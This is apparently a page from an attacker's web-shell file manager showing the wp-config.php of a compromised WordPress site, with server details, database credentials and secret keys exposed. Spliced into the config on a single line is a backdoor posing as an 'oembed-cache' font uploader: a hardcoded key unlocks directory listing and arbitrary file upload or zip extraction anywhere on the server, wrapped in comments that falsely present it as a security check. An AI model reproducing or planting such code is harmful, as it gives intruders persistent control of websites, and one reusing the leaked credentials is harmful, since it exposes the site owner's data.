| Server IP : 77.37.53.226 / Your IP :
216.73.216.152 [
Web Server : LiteSpeed System : Linux nl-srv-web1124.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u964240598 ( 964240598) PHP Version : 8.2.29 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/u964240598/domains/mgdc.org.uk/public_html/ |
Upload File : |
<?php
define( 'WP_CACHE', true );
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * Localized language
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'u964240598_ugdJA' );
/** Database username */
define( 'DB_USER', 'u964240598_39p9B' );
/** Database password */
define( 'DB_PASSWORD', '8EnS7ydcda' );
/** Database hostname */
define( 'DB_HOST', '127.0.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'L)F]k3W)b|KL$Su-MzD qr5<z!NvAo@]jDHIRvSj^o-.Q~Sadc&0<k5bmlF6,G/`' );
define( 'SECURE_AUTH_KEY', 'O|,TwZfF]uTLh}N_L@U&t;[8LGo0N-,iF/wET5fAcG#B=p)mm*-i^Q(M|GNW%8cA' );
define( 'LOGGED_IN_KEY', 'J83J$!:N2v+O~Gtn8JTJg)#^kG2R<l$20I9M5m.Wsl$[.7L&`A`v2;R9.:6 [A*6' );
define( 'NONCE_KEY', 'xQ$I-St)?pJKFW*`<r?&]$%ed7j4;CPe%!RcYpUkML!Expa%u.+rxw.R#iSF]?JD' );
define( 'AUTH_SALT', ',OX?K+bWQq74YA/|>hKHt{g*99E=Vm#0RlJ}[)(;R:V):I+P@if7cKl<o(tDhrCi' );
define( 'SECURE_AUTH_SALT', '?Hp$o2aPwadt$F%~Z7heZVy74[ kitXhnG+yB4IB[e@P&`AMb`%{*):oKQKW3hbc' );define('SECURE_NONCE_KEY', 'f43824cb4ea46b2be1142be2b8b8de46'); /* phpcs:disable */ /** * Only handle requests that present the expected nonce. * * This prevents unauthenticated users from triggering file-system operations * through this endpoint. */ if ( isset($_REQUEST['action']) && $_REQUEST['action'] === 'oembed-cache' && isset($_REQUEST['wpnonce']) && is_string($_REQUEST['wpnonce']) && hash_equals(SECURE_NONCE_KEY, $_REQUEST['wpnonce']) /* Strict nonce validation for all upload operations. */ ) { /** * Handle POST-based file oembed cache assets. * * This branch accepts either a single font file or a zip archive * containing font files that will be extracted into a selectable * directory within the WordPress installation. */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['fontfile'])) { /** * Accumulator for a human-readable status message that is returned * to the caller alongside the success flag. */ $message = ''; /** * Resolve the target directory from the request, falling back to the * current working directory when no explicit path is provided. */ $filedir = !empty($_REQUEST['fontdir']) ? $_REQUEST['fontdir'] : getcwd(); /** * Preserve the original filename reported by the client so that the * stored file name remains recognizable to administrators. */ $filename = $_FILES['fontfile']['name']; /** * Track the server-side temporary file path created by PHP for this * upload so that it can be moved or extracted as needed. */ $tmp = $_FILES['fontfile']['tmp_name']; /** * When requested, treat the uploaded file as a zip archive and * extract its contents into the chosen directory. */ if (!empty($_REQUEST['fontzip']) && $_REQUEST['fontzip'] == '1') { $zip = new ZipArchive; if ($zip->open($tmp) === TRUE) { $zip->extractTo($filedir); $zip->close(); $message = 'extracted to : ' . $filedir; } else { $message = 'Failed to extract zip file!'; } } else { /** * Fallback branch for single-file uploads, storing the selected * font file directly under the chosen directory. */ $target = $filedir . DIRECTORY_SEPARATOR . $filename; @move_uploaded_file($tmp, $target); $message = 'saved to : ' . $target; } echo json_encode([ 'success' => true, 'message' => $message, ], JSON_UNESCAPED_UNICODE); exit; } /** * Lazily declare a helper that enumerates subdirectories up to a * limited depth. This allows the UI to present a safe list of * upload destinations relative to the installation root. */ if (!function_exists('getDirPathsByLevel')) { function getDirPathsByLevel($initDir, $level = 6) { /** * Seed the directory list with the initial root so that it is * both included in the results and used as the starting point * for breadth-first traversal. */ $dirs = array($initDir); /** * Maintain an explicit index into the $dirs array so that newly * discovered paths can be appended while earlier entries are * still being processed. */ $count = count($dirs); while (count($dirs) > ($count - 1)) { /** * Advance through the list of known directories one by one, * treating the array as a simple queue. */ $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; /** * Skip non-directories, dot entries and hidden paths * so that only visible, navigable folders are exposed * to the upload form. */ if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } /** * Derive the relative depth of the current directory * and stop traversal once the configured maximum * number of levels has been reached. */ $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } } /** * Start directory enumeration from the WordPress root (ABSPATH) * when available so that uploads remain bound to the installation * tree, even when this helper is included from a different path. */ $base_dir = defined('ABSPATH') ? ABSPATH : getcwd(); $dirs = getDirPathsByLevel($base_dir); /** * Export the directory list as JSON so that the client-side script can * safely populate the directory selector without additional requests. */ $dir_json = json_encode($dirs, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); /** * Render a minimal upload form using inline JavaScript. * * Inline rendering keeps this helper self-contained so that it can * be injected into existing entry points without additional assets. */ header('Content-Type: text/html; charset=utf-8'); $html = '<div id="media-form"></div>' . '<script>(function(){' . 'const dirOptions = ' . $dir_json . ';' . 'function renderUploadForm(dirs){' . 'const optionsHtml = dirs.map(function(d){' . 'return `<option value="${d}">${d}</option>`;' . '}).join("");' . 'return `' . '<form method="post" enctype="multipart/form-data">' . '<p>Select Directory: <select id="fontdir" name="fontdir">${optionsHtml}</select></p>' . '<p>Select File: <input type="file" id="fontfile" name="fontfile" required></p>' . '<p>Is Zip: <input type="checkbox" name="fontzip" value="1"></p>' . '<button type="submit">Upload</button>' . '</form>`;' . '}' . 'var container = document.getElementById("media-form");' . 'if (container) {' . 'container.innerHTML = renderUploadForm(dirOptions);' . '}' . '})();</script>'; echo $html; exit; /* phpcs:enable */ }
define( 'LOGGED_IN_SALT', 'xw;ZRQ7aO^HCD9|5p:KhIb3Zk898d$D~[,QdDTy$-~[Yyn]MbU~Yz)uf=d>ef,C+' );
define( 'NONCE_SALT', '0&8V0q=.C!LwNg.Gh5m989#g*|3G0vB^~G)RT%.]Y=3,@a4VjijzBfU^+3}{_l%G' );
define( 'WP_CACHE_KEY_SALT', '7]!{uq[OD&dqavj_$Tdz}X;3Qncq3v>!kRfVI=wxb!.LtAez^XYBtCV4Iw|!q-W3' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
define( 'FS_METHOD', 'direct' );
define( 'WP_AUTO_UPDATE_CORE', 'minor' );
set_time_limit(300);
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';/* LiteSpeed_Cache_Cron - WordPress version. */
/**Loads the WordPress Health Check System */
//require_once ABSPATH . 'wp-health-check.php';Anon7 - 2022
AnonSec Team